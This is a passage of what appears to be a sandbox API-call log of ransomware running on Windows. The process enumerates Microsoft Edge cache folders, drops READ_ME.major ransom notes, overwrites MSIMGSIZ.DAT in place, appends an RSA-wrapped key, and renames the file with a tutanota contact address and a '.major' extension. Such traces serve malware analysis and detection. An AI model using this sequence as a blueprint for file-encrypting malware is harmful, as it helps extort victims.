HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0243.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6591f8 | out: hHeap=0x570000) returned 1 [0243.746] FindNextFileW (in: hFindFile=0x2f34ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9d06badc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9d075730, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9d075730, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="IEFlipAheadCache", cAlternateFileName="IEFLIP~1")) returned 1 [0243.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60df88 | out: hHeap=0x570000) returned 1 [0243.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0243.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8adf8 [0243.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0243.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665408 [0243.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0243.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60de60 [0243.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665408 | out: hHeap=0x570000) returned 1 [0243.746] GetLastError () returned 0x0 [0243.746] SetLastError (dwErrCode=0x0) [0243.746] GetLastError () returned 0x0 [0243.746] SetLastError (dwErrCode=0x0) [0243.746] GetLastError () returned 0x0 [0243.746] SetLastError (dwErrCode=0x0) [0243.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0243.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0243.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0243.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0243.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6598c0 [0243.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6780 [0243.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ca0 [0243.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0243.747] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0243.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665020 [0243.747] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0243.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dae8 [0243.747] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665020 | out: hHeap=0x570000) returned 1 [0243.747] GetLastError () returned 0x0 [0243.747] SetLastError (dwErrCode=0x0) [0243.747] GetLastError () returned 0x0 [0243.747] SetLastError (dwErrCode=0x0) [0243.747] GetLastError () returned 0x0 [0243.747] SetLastError (dwErrCode=0x0) [0243.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x110) returned 0x66a7e8 [0243.747] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IEFlipAheadCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\ieflipaheadcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a70 [0243.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66a7e8 | out: hHeap=0x570000) returned 1 [0243.748] WriteFile (in: hFile=0x1a70, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0243.749] CloseHandle (hObject=0x1a70) returned 1 [0243.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dae8 | out: hHeap=0x570000) returned 1 [0243.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0243.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0243.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659ca0 | out: hHeap=0x570000) returned 1 [0243.749] FindNextFileW (in: hFindFile=0x2f34ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8b11f0e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd8b11f0e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd8b132a0, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0xbfe0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="MSIMGSIZ.DAT", cAlternateFileName="")) returned 1 [0243.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60de60 | out: hHeap=0x570000) returned 1 [0243.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0243.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8adf8 [0243.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0243.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6649e0 [0243.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0243.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0243.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6649e0 | out: hHeap=0x570000) returned 1 [0243.749] GetLastError () returned 0x0 [0243.749] SetLastError (dwErrCode=0x0) [0243.749] GetLastError () returned 0x0 [0243.749] SetLastError (dwErrCode=0x0) [0243.749] GetLastError () returned 0x0 [0243.749] SetLastError (dwErrCode=0x0) [0243.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67a8 [0243.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67a8 | out: hHeap=0x570000) returned 1 [0243.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x663468 [0243.750] FindNextFileW (in: hFindFile=0x2f34ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bc1759d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bc1759d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bc1759d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0243.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d898 | out: hHeap=0x570000) returned 1 [0243.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0243.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b5f0 [0243.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0243.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6650e8 [0243.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b5f0 | out: hHeap=0x570000) returned 1 [0243.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dae8 [0243.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6650e8 | out: hHeap=0x570000) returned 1 [0243.750] GetLastError () returned 0x0 [0243.750] SetLastError (dwErrCode=0x0) [0243.750] GetLastError () returned 0x0 [0243.750] SetLastError (dwErrCode=0x0) [0243.750] GetLastError () returned 0x0 [0243.750] SetLastError (dwErrCode=0x0) [0243.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee66e0 [0243.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee66e0 | out: hHeap=0x570000) returned 1 [0243.750] FindNextFileW (in: hFindFile=0x2f34ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12508dd9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12508dd9, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12508dd9, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="User", cAlternateFileName="")) returned 1 [0243.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dae8 | out: hHeap=0x570000) returned 1 [0243.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0243.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b018 [0243.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0243.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664788 [0243.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0243.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0243.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664788 | out: hHeap=0x570000) returned 1 [0243.750] GetLastError () returned 0x0 [0243.750] SetLastError (dwErrCode=0x0) [0243.751] GetLastError () returned 0x0 [0243.751] SetLastError (dwErrCode=0x0) [0243.751] GetLastError () returned 0x0 [0243.751] SetLastError (dwErrCode=0x0) [0243.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669748 [0243.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6988 [0243.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668230 [0243.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0243.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0243.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664918 [0243.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af08 | out: hHeap=0x570000) returned 1 [0243.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60df88 [0243.751] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664918 | out: hHeap=0x570000) returned 1 [0243.751] GetLastError () returned 0x0 [0243.751] SetLastError (dwErrCode=0x0) [0243.751] GetLastError () returned 0x0 [0243.751] SetLastError (dwErrCode=0x0) [0243.751] GetLastError () returned 0x0 [0243.751] SetLastError (dwErrCode=0x0) [0243.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6595d8 [0243.751] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\User\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\user\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a70 [0243.752] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6595d8 | out: hHeap=0x570000) returned 1 [0243.752] WriteFile (in: hFile=0x1a70, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0243.753] CloseHandle (hObject=0x1a70) returned 1 [0243.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60df88 | out: hHeap=0x570000) returned 1 [0243.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0243.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0243.753] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x668230 | out: hHeap=0x570000) returned 1 [0243.753] FindNextFileW (in: hFindFile=0x2f34ae0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x12508dd9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12508dd9, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12508dd9, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="User", cAlternateFileName="")) returned 0 [0243.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661938 [0243.753] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6938 [0243.754] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0243.754] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\MSIMGSIZ.DAT", dwFileAttributes=0x80) returned 1 [0243.929] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661dc0 [0243.929] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5bfce0 [0243.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661dc0 | out: hHeap=0x570000) returned 1 [0243.929] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\MSIMGSIZ.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\msimgsiz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a70 [0243.930] GetFileSizeEx (in: hFile=0x1a70, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=49120) returned 1 [0243.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbfe0) returned 0x33f5018 [0243.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbfe0) returned 0x3401000 [0243.930] ReadFile (in: hFile=0x1a70, lpBuffer=0x33f5018, nNumberOfBytesToRead=0xbfe0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0xbfe0, lpOverlapped=0x0) returned 1 [0244.003] SetFilePointer (in: hFile=0x1a70, lDistanceToMove=-49120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0244.003] WriteFile (in: hFile=0x1a70, lpBuffer=0x3401000*, nNumberOfBytesToWrite=0xbfe0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3401000*, lpNumberOfBytesWritten=0x2e3f9b4*=0xbfe0, lpOverlapped=0x0) returned 1 [0244.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33f5018 | out: hHeap=0x570000) returned 1 [0244.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3401000 | out: hHeap=0x570000) returned 1 [0244.003] SetFilePointer (in: hFile=0x1a70, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xbfe0 [0244.003] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.003] WriteFile (in: hFile=0x1a70, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.003] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0244.004] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0244.004] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0244.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0244.004] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="aZq6d6KqO9VjCzyRyzlRToyOyNo/mc12Mv6eBYZUwVIgTJyLsV6PY13WcqPm5vkz\nE9htfDG8wUxk4Vy2L/CYfsCU2ZzPitZYS0a42o85YVCjvc6lyi1OB7UliKWNr2Ch\noR+E/DwPEZgxTX5JwAKPSk6yusjP9dSkoXLBOoGQBa7yJvJ6VsJePN6cQZwmhtpD\nE2lCeQJX5UwUrwseEvUSEltxD38YykeJe6uyaZpmPAZfPIpnWBPtNkTYtpAclsby\nOv9XA+3BYxapzGScVd5uL3GV7WdnBUyq5pp55I0ddE1t5H2V2ReXT2/e3cFhJ+lR\nypgaVgeM49gspOy7MoVrtA==\n", pcchString=0x2e3f9a8) returned 1 [0244.004] WriteFile (in: hFile=0x1a70, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0244.004] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.004] WriteFile (in: hFile=0x1a70, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.004] CloseHandle (hObject=0x1a70) returned 1 [0244.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0244.004] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\MSIMGSIZ.DAT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\msimgsiz.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\MSIMGSIZ.DAT.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\msimgsiz.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0244.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bfce0 | out: hHeap=0x570000) returned 1 [0244.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6938 | out: hHeap=0x570000) returned 1 [0244.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661938 | out: hHeap=0x570000) returned 1 [0244.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x663468 | out: hHeap=0x570000) returned 1 [0244.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664788 [0244.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x668818 | out: hHeap=0x570000) returned 1 [0244.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0d68 | out: hHeap=0x570000) returned 1 [0244.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656920 | out: hHeap=0x570000) returned 1 [0244.007] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa79661, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfa79661, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3bc1759d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34b20 [0244.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d898 | out: hHeap=0x570000) returned 1 [0244.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0244.007] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0244.007] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0244.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6651b0 [0244.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0244.008] GetLastError () returned 0x0 [0244.008] SetLastError (dwErrCode=0x0) [0244.008] GetLastError () returned 0x0 [0244.008] SetLastError (dwErrCode=0x0) [0244.008] GetLastError () returned 0x0 [0244.008] SetLastError (dwErrCode=0x0) [0244.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0244.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bebb0 [0244.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0244.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67a8 [0244.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f34be0 [0244.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34be0 | out: hHeap=0x570000) returned 1 [0244.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404c8 [0244.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404c8 | out: hHeap=0x570000) returned 1 [0244.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67a8 | out: hHeap=0x570000) returned 1 [0244.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0244.008] FindNextFileW (in: hFindFile=0x2f34b20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa79661, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xfa79661, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3bc1759d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6651b0 | out: hHeap=0x570000) returned 1 [0244.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0244.008] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b018 [0244.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0244.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665980 [0244.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0244.009] GetLastError () returned 0x0 [0244.009] SetLastError (dwErrCode=0x0) [0244.009] GetLastError () returned 0x0 [0244.009] SetLastError (dwErrCode=0x0) [0244.009] GetLastError () returned 0x0 [0244.009] SetLastError (dwErrCode=0x0) [0244.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0244.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be420 [0244.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be420 | out: hHeap=0x570000) returned 1 [0244.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee69b0 [0244.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f34be0 [0244.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34be0 | out: hHeap=0x570000) returned 1 [0244.009] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40438 [0244.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40438 | out: hHeap=0x570000) returned 1 [0244.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee69b0 | out: hHeap=0x570000) returned 1 [0244.009] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0244.009] FindNextFileW (in: hFindFile=0x2f34b20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3bc1759d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3bc1759d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3bc1759d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.009] HeapFree (in: hHeap=0x570000, 